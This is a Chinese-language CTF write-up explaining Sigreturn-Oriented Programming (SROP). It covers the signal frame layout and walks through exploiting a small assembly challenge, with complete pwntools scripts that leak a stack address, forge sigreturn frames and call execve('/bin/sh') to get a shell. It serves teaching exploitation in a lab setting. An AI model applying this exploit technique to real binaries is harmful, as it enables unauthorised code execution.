Pwn-SROP

2024-08-12

Pwn-SROP

Author: 堇姬Naup

signal機制

  1. kernel向process發起signal機制,Process暫時中斷,進入kernel
  2. 保存環境(簡單來說就是保存了各個暫存器的值,將所有東西壓入stack,並壓入signal相關訊息),這段記憶體被稱為Signal Frame
  3. 到signal handler處理
  4. 恢復環境
  5. 繼續執行process

image
image

image
image

signal frame

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};

struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};

image
image

漏洞在哪?

如果我們能控制Stack的值,因為他在恢復環境時沒有驗證,所以可以任意修改來串ROP(透過偽造sigframe來調用惡意syscall)

SROP前提

  1. 有BOF
  2. 可以去系統調用signature(或用read控rax之類的)
  3. /bin/sh地址可以寫入並拿到該地址或是直接有目標及有位址
  4. syscall地址

SROP chain

image
image

如果有ret,那可以構造像是這樣的chain來呼叫多個syscall

流程

  • 控制stack
  • 偽造Signal Frame
  • 觸發Sigreturn
  • get shell

題目

1
2
3
4
5
6
7
8
9
10
11
12
; nasm -f elf64 chal.asm -o chal.o && ld chal.o -o chal
.text:
global _start

_start:
xor rax, rax
mov edx, 0x400
mov rsi, rsp
mov rdi, rax
syscall
ret

控rax代表可以控你要syscall甚麼,而能控rax的不只有gadget,read返回值,也就是讀取的字節數可以控rax(rax包含系統調用結果)

首先根據上方asm他調用了read,隨便輸入一個他會跳到對應位置

image
image

這邊我輸入了aaa跳到了0xa616161(0xa是換行)上,因為rsi指向rsp,ret吃到rsp所以stack底部會跳過去

這邊我先放入兩個ret回最上面

再來送一個\x03
來蓋掉stack底部ret位置最低位到xor rax, rax後面
與此同時因為寫入1 byte,rax變成1,call write,寫出stack address

原本

image
image

寫掉最低位成0x03

image
image

另外因為寫入1 byte ,讓rax=1

image
image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from NAUP_pwn_lib import *

context.arch='amd64'
REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./srop')


else:
REMOTE_INFO=split_nc("nc lotuxctf.com 10009")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

DEBUG=input('debug?(y/n)')
if DEBUG=="y":
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

def p():
gdb.attach(proc.pidof(r)[0])

payload1 = p64(0x401000)+p64(0x401000)

r.send(payload1)

p()

r.send(b'\x03')

leak_stack_base = u64(r.recv()[8:16])
NAUPINFO('LEAK STACK',hex(leak_stack_base))

r.interactive()

接下來我們的目標是call execve(),所以要寫入/bin/sh
另外根據上方腳本已經跳出去了,但我們如果一開始送p64(0x401000) 3次,write完後又跳回來了

1
2
3
4
5
6
7
8
9
10
11
12
13
read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = leak_stack_base
read.rdx = 0x400
read.rsp = leak_stack_base
read.rip = syscall

payload3 = p64(start) + p64(syscall) + bytes(read)

r.send(payload3)

r.send(payload3[8:23])

讀payload進來

1
2
3
start
syscall
read.SigreturnFrame

ret跳回start,讀15個byte進來

1
2
syscall
read.SigreturnFrame

ret到syscall,現在rax=15(call sys_rt_sigreturn)

1
read.SigreturnFrame

回復位置成read.SigreturnFrame的樣子

再來

1
2
3
4
5
6
7
8
9
10
11
12
13
14
execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = leak_stack_base + 0x108
execve.rsi = 0x0
execve.rdx = 0x0
execve.rsp = leak_stack_base
execve.rip = syscall

payload5 = p64(start)+p64(syscall)+bytes(execve)
print(len(payload5))
payload5 += b'/bin/sh\x00'
r.send(payload5)

r.send(payload5[8:23])

回復的read先讀

1
2
3
4
start
syscall
execve.SigreturnFrame
/bin/sh\x00(leak rsp+0x108)

再來ret到start,再讀15byte

1
2
3
syscall
execve.SigreturnFrame
/bin/sh\x00(leak rsp+0x108)

ret到syscall,現在rax=15

回復成execve.SigreturnFrame
並抓到/bin/sh

get shell!!

另外適時加一些sleep防止送太快

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
from NAUP_pwn_lib import *
import time

context.arch='amd64'
context.os = 'linux'
REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./srop')

else:
REMOTE_INFO=split_nc("nc lotuxctf.com 10009")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

DEBUG=input('debug?(y/n)')
if DEBUG=="y":
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

def pause():
gdb.attach(proc.pidof(r)[0])

payload1 = p64(0x401000)+p64(0x401000)+p64(0x401000)

r.send(payload1)

#pause()
time.sleep(0.5)

r.send(b'\x03')

leak_stack_base = u64(r.recv()[8:16])
NAUPINFO('LEAK STACK',hex(leak_stack_base))

start=0x401000
syscall=0x40100e

read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = leak_stack_base
read.rdx = 0x400
read.rsp = leak_stack_base
read.rip = syscall

payload2 = p64(start) + p64(syscall) + bytes(read)

r.send(payload2)

time.sleep(0.5)

r.send(payload2[8:23])

execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = leak_stack_base + 0x108
execve.rsi = 0x0
execve.rdx = 0x0
execve.rsp = leak_stack_base
execve.rip = syscall

payload3 = p64(start)+p64(syscall)+bytes(execve)
print(len(payload3))
payload3 += b'/bin/sh\x00'
r.send(payload3)

time.sleep(0.5)

r.send(payload3[8:23])

r.interactive()